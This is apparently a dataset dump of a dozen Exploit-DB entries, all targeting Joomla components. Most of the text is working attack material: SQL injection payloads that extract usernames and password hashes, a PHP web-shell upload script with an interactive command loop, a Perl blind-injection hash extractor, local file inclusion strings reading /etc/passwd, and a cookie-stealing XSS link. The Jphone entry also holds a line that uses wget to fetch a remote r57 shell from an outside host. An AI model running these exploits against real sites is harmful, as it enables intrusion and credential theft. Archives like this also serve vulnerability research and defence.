deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42347
Description: Joomla! Component JoomRecipe 1.0.4 - 'search_author' SQL Injection
Type: webapps
Platform: php
Date: 2017-07-20
Author: Teng

Exploit:
# Exploit Title: Joomla JoomRecipe 1.0.4 Component - Blind SQL Injection Vulnerability
# Date: 20.07.2017
# Exploit Author: Teng
# Vendor Homepage: http://joomboost.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/food-a-beverage/joomrecipe/
# Version: 1.0.4
# Platform: PHP

1. Description
Blind SQL Injection on Search page, with "search_author" parameter (POST)

2. Proof of concept
sqlmap.py -u "http://localhost/[PATH]/search/results.html" -p search_author --data "searchPerformed=1&task=search&searchword=asd&searchCategories%5B%5D=*&search_cuisine=&searchSeasons=&search_author=1&search_max_prep_hours=2&search_max_prep_minutes=0&search_max_cook_hours=2&search_max_cook_minutes=0&search_min_rate=0&search_max_cost=999&currentIngredient=" --random-agent --dbs

Parameter: search_author (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: searchPerformed=1&task=search&searchword=asd&searchCategories[]=*&search_cuisine=&searchSeasons=&search_author=(SELECT (CASE WHEN (8160=8160) THEN 8160 ELSE 8160*(SELECT 8160 FROM INFORMATION_SCHEMA.PLUGINS) END))&search_max_prep_hours=2&search_max_prep_minutes=0&search_max_cook_hours=2&search_max_cook_minutes=0&search_min_rate=0&search_max_cost=999&currentIngredient=
Exploit-DB #37375
Description: Joomla! Component Joomsport - SQL Injection / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53944/info

The Joomsport component for Joomla! is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
print "\n|===============================================|";
print "\n| Joomla (com_joomsport) Arbitrary Shell Upload |";
print "\n| Provided By KedAns-Dz <ked-h[at]hotmail[.]com>|";
print "\n|===============================================|\n";
if ($argc < 2)
{
print "\nUsage : php $argv[0] [host] [path]";
print "\nExample : php $argv[0] www.p0c.tld /wp/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$data = "Content-Disposition: form-data; name=\"Filename\"; filename=\"k3d.php.png\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$packet = "POST {$path}components/com_joomsport/includes/imgres.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: image/png\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\n Inj3ct0rK3d-Sh3lL#";
$cmd = trim(fgets(STDIN)); # f.ex : C:\\k3d.php.png
if ($cmd != "exit")
{
$packet = "GET {$path}k3d.php.png{$html[3]} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
}
else break;
}
?>

Access Shell : http://www.example.com/components/com_joomsport/images/k3d.php.png

#### Exploit (2) Blind SQL Injection =>

<?php

$bs =
curl_init("http://www.example.com/components/com_joomsport/includes/func.php");
curl_setopt($bs, CURLOPT_POST, true);
curl_setopt($bs, CURLOPT_POSTFIELDS,
array('query'=>"SELECT * FROM jos_users"));
curl_setopt($bs, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($bs);
curl_close($bs);
print "$postResult";

?>
Exploit-DB #17674
Description: Joomla! Component JoomTouch 1.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-08-17
Author: NoGe

Exploit:
================================================================================
 
  [o] JoomTouch Joomla Component <= Local File Inclusion Vulnerability
  
       Software : com_joomtouch ver 1.0.2
       Vendor   : http://www.joomtouch.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Home     : http://evilc0de.blogspot.com/

================================================================================

  [o] Exploit

       http://localhost/[path]/index.php?option=com_joomtouch&controller=[LFI]


  [o] PoC

       http://localhost/[path]/index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00


  [o] Dork

       be creative.. :))

================================================================================

  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe matthews wishnusakti kaka11 inc0mp13te martfella
       pizzyroot Genex H312Y }^-^{ noname tukulesto

================================================================================

  [o] August 17 2011 - Papua, Indonesia
  [o] Hiduplah Indonesia Raya.. MERDEKA!! ^_____^
Exploit-DB #6709
Description: Joomla! Component Joomtracker 1.01 - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-09
Author: rsauron

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
#  d3hydr8 - rsauron - baltazar - C1c4Tr1Z - beenu - P47tr1ck  # 
#                  and all darkc0de  members                   # 
################################################################ 
# 
# Author: rsauron 
# 
# Home  : www.darkc0de.com
# 
# Email : rsauron@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Type: Joomla Component com_joomtracker Remote SQL Injection Vulnerability
#
# Title: Joomtracker XBT external bittorrent tracker
#
# Vendor: http://www.joomtracker.org/
# 
################################################################ 
#
# d0rk: "Powered by Joomtracker"
#
################################################################  
     POC :- 
	
	index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*       
   
     Live Demo: 
	
	http://www.joomtracker.org/index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*
	
################################################################ 
#  Bug discovered : 08 Oct.2008
################################################################

# milw0rm.com [2008-10-09]
Exploit-DB #33441
Description: Joomla! Component Joomulus 2.0 - 'tagcloud.swf' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37479/info

The Joomulus component for Joomla! is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/modules/mod_joomulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3 E%3C/tags%3E
Exploit-DB #15085
Description: Joomla! Component Joostina - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-22
Author: Gamoscu

Exploit:
#
# Note:  This does not affect the current version of this component. It was patched more than 15 months ago.
#
#
Joomla (joostina)  Component com_ezautos SQL Injection Vulnerability

###########################

Author : Gamoscu

Homepage : http://www.1923turk.com

Blog :http://gamoscu.wordpress.com/

Script : Joomla http://www.joostina-cms.org/content/view/20/35/

Dork : inurl:com_ezautos
###########################

[ Vulnerable File ]

index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 [ SQL ]

[ XpL ]

+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block%3C%3E1--

[ Demo]

http://xxxxx/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block%3C%3E1--

##############################################################
#
#
#
# Baybora: http://baybora.wordpress.com/
#
# Manas58  Delibey  Tiamo  Psiko  Turco  infazci  X-TRO
#
#
#
#            #Elektrikist#
#
#############################################
Exploit-DB #5277
Description: Joomla! Component joovideo 1.2.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-19
Author: S@BUN

Exploit:
##########################################
#
# Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_joovideo" detail
#
# DORK 2 : allinurl: "com_joovideo"
#
# DORK 3 : Powered by joovideo V1.0
#
###########################################
EXPLOIT :

index.php?option=com_joovideo&Itemid=S@BUN&task=detail&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
  <name>joovideo</name>
  <creationDate>18.04.2007</creationDate>
  <author>joomlapixel</author>
   <copyright>This component in released under the commercial License</copyright>
   <authorEmail>info@joomlapixel.eu</authorEmail>

  <authorUrl>www.joomlapixel.eu</authorUrl>
  <version>1.2.2</version>
  <description>joovideo! video manager semplificato per joomla!, versione commerciale</description>

# milw0rm.com [2008-03-19]
Exploit-DB #5737
Description: Joomla! Component Jotloader 1.2.1.a - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-04
Author: His0k4

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "   o   Joomla Component jotloader Blind SQL Injection Exploit  o\n";
  print "   o   Author:His0k4 [ALGERIAN HaCkeR]                         o\n";
  print "   o                                                           o\n";
  print "   o   Conctact: His0k4.hlm[at]gamil.com                       o\n";
  print "   o   Greetz:   All friends & muslims HacKeRs                 o\n";
  print "   o                                                           o\n";
  print "   o   Dork :   inurl:com_jotloader                            o\n";
  print "   o   Usage:   perl jotloader.pl host path <options>          o\n";
  print "   o   Example: perl jotloader.pl www.host.com /joomla/ -c 5   o\n";
  print "   o                                                           o\n";
  print "   o   Options:                                                o\n";
  print "   o     -c   valid cid  id                                    o\n";
  print "   ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $cid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "c=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"c"})
{
  $cid = $options{"c"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $cid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $cid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $cid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_jotloader&cid=".$cid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "files.download";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-04]
Exploit-DB #15791
Description: Joomla! Component JotLoader 2.2.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-20
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  Joomla Component Jotloader 2.2.1 Local File Inclusion Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m (v3n0m666[at]live[dot]com)
Site    	: http://yogyacarderlink.web.id/
Date		: December, 20-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: JotLoader
License		: GPLv2
Version		: 2.2.1 Other versions may also be affected
Vendor  	: http://www.kanich.net/radio/site/jotloader
Google Dorks	: inurl:com_jotloader

Exploit & p0c
_____________

**[LFI]
http://127.0.0.1/[path]/index.php?option=com_jotloader&section=[LFI]%00
_________________________________________________

All YOGYACARDERLINK Crew & My Beloved Jovita Andy
_________________________________________________
Exploit-DB #12037
Description: Joomla! Component JP Jobs 1.4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-03
Author: Valentin

Exploit:
:: General information
:: Joomla component jp_jobs SQL Injection vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = jp_jobs
:: Vendor = Joomla! Projects
:: Vendor Website = http://www.joomlanetprojects.com/
:: About the product = http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11163
:: Affected versions = All, latest one is 1.4.1
:: Google dork: "inurl:index.php?option=com_jp_jobs"


:: SQL Injection vulnerability
The component is extremly useful when it comes down to implementing some sort of job portal into your Joomla website.
Injecting SQL commands while viewing details about a job is possible.

Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id=1

Test URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id='

Exploit vulnerability, e.g. by displaying the MySQL user:
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+concat(user())--
Exploit-DB #5493
Description: Joomla! Component JPad 1.0 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2008-04-24
Author: His0k4

Exploit:
#########################################################
#							#
#     Joomla Component JPad Remote SQL Injection	#
#							#
#########################################################

########################################

[*] Founded by : His0k4 (Algerian HaCkeR);
[*] Contact: His0k4[at]gmail.com
[*] Greetz : All friends & muslims HaCkeRs  :) 

########################################

[*] Script_Name: "Joomla"
[*] Component_Name: "JPad"


########################################

[*] DORK: allinurl:com_jpad

########################################

[*] P.O.C: /index.php?option=com_jpad&task=edit&Itemid=39&cid=[SQL]
[*] Example: /index.php?option=com_jpad&task=edit&Itemid=39&cid=-1 UNION ALL SELECT 1,2,3,concat_ws(0x3a,username,password),5,6,7,8 from jos_users--
[*] Note : You have to register an account in the site.
########################################

side note:
  <name>JPad</name>
  <creationDate>31/06/2007</creationDate>
  <author>Theo van der Sluijs</author>
  <copyright>(c) 2007 VanderSluijs.nl</copyright>
  <authorEmail>theo@vandersluijs.nl</authorEmail>

  <authorUrl>www.vandersluijs.nl</authorUrl>
  <version>1.0</version>
  <description>Component to create notepad files. (see about)</description>

# milw0rm.com [2008-04-24]
Exploit-DB #14964
Description: Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-10
Author: Chip d3 bi0s

Exploit:

JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
=========================================================================================

- Discovered by	: Chip D3 Bi0s
- Email         : chipdebios[at]gmail[dot]com
- Group         : LatinHackTeam
- Date          : 2010-09-10
- Where         : From Remote

-------------------------------------------------------------------------------------
Affected software description

Application     : Jphone
Developer       : Urs Kobald
Compatibility   : 1.0 Alpha 3
License         : GPLv2 or later
Date Added      : 14 Aug 2010
website         : http://www.4you-studio.com
Download        : http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html

I. BACKGROUND

Called Jphone, component agency 4you studio allows for your Joomla adapted mobile
version with a real interface using page transition effects rather pro
(the cube effect and popup are very nice).

Consisting of a component and a plugin for Joomla, it is after activating the plugin
define a menu (the menu management of Joomla). This is to link the specific component
to display your content. Currently seen by the articles, categories, sections are set
but also those contacts and links Web (Two native Joomla components).
The installation procedure is shown in the download package.

In addition, the proposed version is an alpha version 
(therefore usable only for testing purposes) but resulted entirely in French.
Feel free to share your opinion on the forum.
Support for Android and PalmPre should be functional (not tested)

II. DESCRIPTION

Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3.



III. ANALYSIS

The bug is in the following files, specifying the lines

/components/com_jphone/jphone.php



[63] if($controller = JRequest::getVar('controller')) {
[64]
[65]	require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');

 Explanation:As noted in the line [65] $controller
 nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)


IV. EXPLOITATION

http://site/path/index.php?option=com_jphone&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00

changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>

A special greeting to my good friends:
F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)



+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++